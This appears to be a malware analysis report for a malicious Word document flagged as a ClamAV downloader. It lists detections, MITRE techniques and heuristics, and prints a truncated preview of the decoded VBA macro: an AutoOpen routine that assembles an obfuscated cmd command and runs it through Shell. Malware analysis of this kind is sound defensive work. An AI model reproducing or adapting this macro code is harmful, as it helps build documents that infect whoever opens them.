MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is a malicious Office document containing a VBA macro. The AutoOpen macro is designed to execute obfuscated commands, which is a common technique for downloading and executing further malicious payloads. The ClamAV detection and heuristic firings strongly indicate downloader functionality.
Heuristics 5
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ClamAV: Doc.Downloader.Valyria-6666959-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Valyria-6666959-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 25568 bytes |
SHA-256: 47c20d74aacd1a45d396fa1222431e253ac7a43e18e0685e2c15a74fb3531cc1 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "wEQDpzupH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
TypeName CInt(18)
TypeName Sgn(3135 * jGQvF - GSCNo + 59240)
TypeName 1784
TypeName Sgn(38786 / XHjTk)
TypeName 16540615
Shell! KeyString(vbKeyC) + FHbzFmssqD + JSEQAJHsZJkrXL + nwRzzPaXSHW + mpImB + ndZlJKpLKRO + TFWPRa + oWPVuiTjZuI + FwZKh + vACza + XiodIk + bNiRzVB + RCkhpVuW + ziNtAiziHVp + dOXLRrMQ + EmXbwYEN + ShVTjqjhA + wGTYzi + pCUOMP + zSFRAKvrlh + wlqOarFJwzzwn + hzvXjatfU, 812041115 - 812041115
TypeName Fix(2503)
TypeName fsMqiz
End Sub
Attribute VB_Name = "VBLjslOO"
Function nwRzzPaXSHW()
On Error Resume Next
TypeName YhSHj
TypeName pqhiv
fFwTuziijTR = "md " + " /" + "V:" + "ON " + " " + "/" + CStr(Chr(jVIrTrmLPSnuju + rJpLXbwKXSJuUv + 67 + prfPAqiSVOvz + cjCfLISlZHYzT)) + " " + " " + " " + " " + CStr(Chr(sqUHDFoPJuAi + JjzlfpdrpjCRD + 34 + qDXckcXasW + QtkKiwwQbbLnL)) + " "
TypeName 86
TypeName Sgn(lSTXi)
lzRPU = "se" + "t " + " " + " " + CStr(Chr(BkElBWr + dBlNlGEPtCMwE + 99 + VHCwOrjRjb + nkkQYatjcKiiV)) + "Y" + "=w" + "od" + "r" + "Q" + "wPo" + "oUu" + "OWE" + "n" + CStr(Chr(uIrCzLjQtUvEzu + lQPQfIl + 76 + KsvKYXbrvo + YYfHTrwdVumsF))
TypeName 7
TypeName wvnFRi
TypeName ISbaMz
fUMPKiGu = "nrT" + "aw" + "H" + "z" + "sVD" + "a" + "MO" + "T"
TypeName CByte(4211)
TypeName Sqr(NnKLYw * jfaHz)
nWfTFTAIUk = "R" + "F" + "dY5" + "p'" + CStr(Chr(FGRlWEimS + VwUMEFb + 67 + skJLRpKCQ + EbKVliC)) + "jN" + "=)" + ":Ay"
TypeName nvMjKm
TypeName Fix(9572)
TypeName Log(KokCXI)
GXhKFzMv = "b" + "i@" + ",K" + "+B{" + "m" + "(" + "h" + "f" + CStr(Chr(ulMXNVzIJpjQ + VUzFUhtcWMjB + 99 + zaaCqiTGYlwv + saanOro)) + "t" + "9 " + "v"
TypeName CMqKvU
TypeName onSYPF
TypeName CInt(DCilXq)
cGinwXmE = "I2" + "x}" + "3" + "." + "\k"
TypeName Chr(76)
TypeName CDate(684)
TypeName cksVt
iFdLwTNbm = "-6" + "eg/" + "1;$" + "S" + CStr(Chr(YiErSPzqLbNJi + aLQPwLHYrrj + 108 + tmCwwmCUlmBr + mTcsKLwMCbZEdQ)) + "&& " + " f" + "or"
nwRzzPaXSHW = fFwTuziijTR + lzRPU + fUMPKiGu + nWfTFTAIUk + GXhKFzMv + cGinwXmE + iFdLwTNbm
TypeName Cos(zczEwY - zJENuF)
TypeName JdzJQ
TypeName Log(ozYQu * lFhuc)
End Function
Function mpImB()
On Error Resume Next
TypeName Rnd(WphUw)
TypeName CInt(PWYCiA + fvdsu + 85855 * fvbDGi)
vlNFrwoNMz = " %" + "P i" + "n (" + " " + "3" + "5 " + " " + ",8 " + " " + " " + " " + ",2"
TypeName CDate(WzzzY - RNtYN)
TypeName CDbl(hNJQn)
TypeName jcCth
UatbjuB = "0 " + " " + "," + " " + "72" + " " + " ," + " " + "17 " + " " + "," + " 23" + " ,"
TypeName 399
TypeName Fix(UJDIic / 88547 - szNwX * 9833)
VYpQWAvb = " " + " " + " 5" + "5" + " ," + " " + "72 " + "," + " 7" + "9 " + " ," + "79 "
TypeName 9
TypeName bnwiF
TypeName CBool(500)
GvQzmMHF = " , " + " " + " " + "60" + " " + " " + ", " + " 7" + "7 " + " " + " ," + " " + "20"
TypeName 1
TypeName Fix(SlFdi)
bVVitZQuPv = "," + " " + "1" + "6" + " "
TypeName 364574888
TypeName CInt(2870 - 57652 * 55390 - BkRKu)
TypeName pqqXzB
hCiSMRVBlo = " , " + " 49" + "," + " " + "4" + "0" + ","
TypeName 939
TypeName Rnd(VCnrY / HtjOiD - PqjDi / mXiDRI)
buhtnfvj = " " + " 1" + "6 " + ", " + " " + " " + "72 "
TypeName Sin(vZomtl)
TypeName CStr(TohUaY - DzwAtf)
nHVLCYhskXS = " ," + " 2" + "0,7" + "0 " + " " + "," + "8" + " " + ", " + " " + " 45" + " " + " ,"
TypeName DcEjds
TypeName CInt(QViZi)
TypeName CBool(58481 - pmwViJ * 63140 - EQaBi)
tkImqjHDPw = "38" + " " + ",7" + "2 ," + "57" + " " + " ,5" + "8 " + " ," + " " + " 6"
TypeName Chr(QpTnbz)
TypeName cCYkl
IjOLkhm = "0" + " " + " ," + " " + "39 " + ", " + " 72" + " "
TypeName wUiAz
TypeName Chr(3760 / AEwwKH)
TypeName CBool(wvqICc)
KzMHVuFIKDE = " " + " " + ", " + " " + "58" + ", " + "6" + "7 " + ",
... (truncated)
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